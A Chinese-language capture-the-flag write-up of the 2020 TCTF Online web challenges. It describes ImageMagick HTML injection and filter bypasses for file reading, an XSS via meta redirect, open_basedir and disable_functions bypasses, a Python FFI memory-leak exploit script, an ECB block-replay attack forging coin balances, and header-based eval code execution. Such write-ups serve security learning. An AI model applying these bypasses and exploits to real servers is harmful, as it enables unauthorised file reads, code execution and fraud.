新鲜出炉 | 2020 TCTF Online Web WriteUp
一叶飘零 嘶吼专业版
前言
TCTF是国内高质量比赛之一,这次周末参加了一下,以下是Web题解。
Wechat Generator
题目界面大致如下:
我们拥有preview和share两个功能:
一个是预览我们生成的微信对话图,一个是将其分享。
在尝试访问分享图片时,发现如下路径:
在随手测试的时候,
发现如果乱改后缀,例如将png改为txt,会出现如下的报错信息:
{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}
那么大概可以猜测到题目可能是ImageMagick,同时测试过程中,我们发现:
如果将后缀改为htm,是可以正常转换的,那么此时可以看到我们输入的message:
那么这里尝试进行闭合,发现可以引入标签:
但是存在过滤,src被过滤了,那这里先考虑读文件,我们可以利用png后缀,将文件内容转为图片带出:
得到如下反馈:
那么尝试寻找web文件路径,想读/proc/self/下的文件,但发现proc也被过滤,这里尝试双写绕过:
发现可以成功进行bypass:
在/app目录下可以读取app.py的内容,发现如下路由:
访问后,发现需要进行xss,触发alert(1)即可:
但这里存在csp:
img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'
最初想利用如下形式来进行***:
但src被过滤:
这里同样使用双写来进行bypass:
但发现难以找到可控的js文件,于是考虑到其他方法,可使用meta标签进行跳转:
并使用htm后缀,将路径发给管理员即可触发alert,获取flag.
easy php
题目给了如下代码:
估摸可能又是bypass open_basedir disable_function一类的题目,首先看一下phpinfo():
http://pwnable.org:19260/?rh=phpinfo();
发现目标是php 7.4.5,同时Server API为FpM/FastCGI:
disable_function如下:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir如下:
首先尝试disable_function,由于目录不可写,所以选择使用如下方法:
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}
";
}
发现可以成功列目录:
得到flag.h和flag.so文件名。
由于题目的部署不慎,导致open_basedir经常被置空(所以出现了revenge,正规解法在下一道题里讲),所以出现了下述操作:
可以直接读文件……发现flag.h中定义了获取flag的c函数,那么想到php 7.4可使用FFI调用c函数,于是查看phpinfo():
于是使用如下方法获取flag:
noeasyphp
出题人心有不甘,又出了一道revenge,这次php版本升级到7.4.7,同时更换了Server API:
并且大量增加了disable_function:
但open_basedir没有变:
我们依旧可以bypass open_basedir进行列目录:
发现flag.h和flag.so文件依旧存在,同时FFI依旧开启,那么尝试load flag.h:
但此时尴尬的点来了,我们不知道c的函数名是什么,因此无法直接调用。同时在使用FFI::cdef时,一直不能正常调用,于是这里我们使用如下操作,可以看到FFI的报错提示:
这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:
发现FFI存在不少和内存相关的函数,这里考虑能不能进行内存泄露,获取函数名,编写exp如下:
import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))
即可获取函数名如下:
$a = $ffi->flag_wAt3_uP_apA3H1();
使用和上题一样的操作即可获取flag:
lottery
题目到手后,界面如下:
简单通过burp抓包分析,发现题目存在5个功能:
register
login
buy
info
charge
同时注意到获取flag的条件:
我们必须获得99以上的coin,才可以获取flag,那么分析题目功能,这里主要看buy,info和charge:
buy可以利用api_token获取一串密文。
info可以对密文进行解密,并返回明文:
charge是用来换coin的:
我们尝试篡改所有非enc内容,发现都很难奏效,那么势必需要分析出enc的加密方式,这里从密文切入,我们随便生成了6组密文:
/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=
rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=
RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=
8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=
yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=
fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=
发现每组密文的结尾均为一致,这里我猜想其为分组密码,那么我们尝试将其转回16进制:
fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598
ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598
44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598
f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598
c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598
7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598
我们发现最后32位均为:f6d2b7dade603f007022388485ecc598,同时总密文长度为256位,此时我们可以猜测最后32位应该均为padding,但这里显然不会考虑密钥爆破,因为32位的密钥太长了,爆出的可能性很小。于是思考分组模式是否可以进行***。
这里应该不能猜出,目标可能为ECB分组模式,那么ECB分组模式最普遍的***方式,应该为重放***,于是我进行了简单测试:
3IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=
{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}
我们对如上明密文对进行***,想将用户1的lottery替换为用户2的,如此即可扣用户2的lottery,来增加用户1的coin:
32
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
我尝试对用户1的密文分组进行逐一替换,当替换128位后,发现我们可以将用户1的lottery替换成用户2的,但是此时user前2位值也会变为用户2的,那么这里即考虑,注册多个user前2位相同的用户,再用ECB重放***进行刷钱:
{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}
对于如上info的2个用户,我们就可以将用户1的lottery替换为用户2的,因为其user开头2位都是2e:
移花接木后,我们可以得到如下info的密文:
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}
尝试进行charge:
发现可以成功charge,重复多次操作,即可增加我们的coin,获取flag:
Cloud Computing
这是Misc里的一道题,本不应该出现在此,但因为其考察点为web open_basedir bypass(其实是非预期了),所以在这里记录了一下,题目同样是给了源码:
同时发现题目运行在php7.4.7:
测试过程中发现,我们input的data被过滤了引号,下划线等字符,这让我们执行代码非常不便,同时phpinfo都被过滤了,于是这里考虑使用无参数函数RCE的方式,我们利用eval(end(getallheaders()))的方式进行偷梁换柱,在http header注入我们想执行的phpcode,以此达成bypass waf的目的:
但是依旧无法使用phpinfo等函数,怀疑是被disable_function给禁了,这里开启报错,来一探究竟:
同时发现我们受限于open basedir:
但是发现sandbox可以任意创建文件,于是想到可以使用chdir来bypass openbasedir:
发现可以成功bypass oepn_basedir,读取/etc/passwd:
那么读取根目录的flag文件即可。
后记
这次Web题目做下来,感觉不是非常的"web",但还是可以学到一点东西~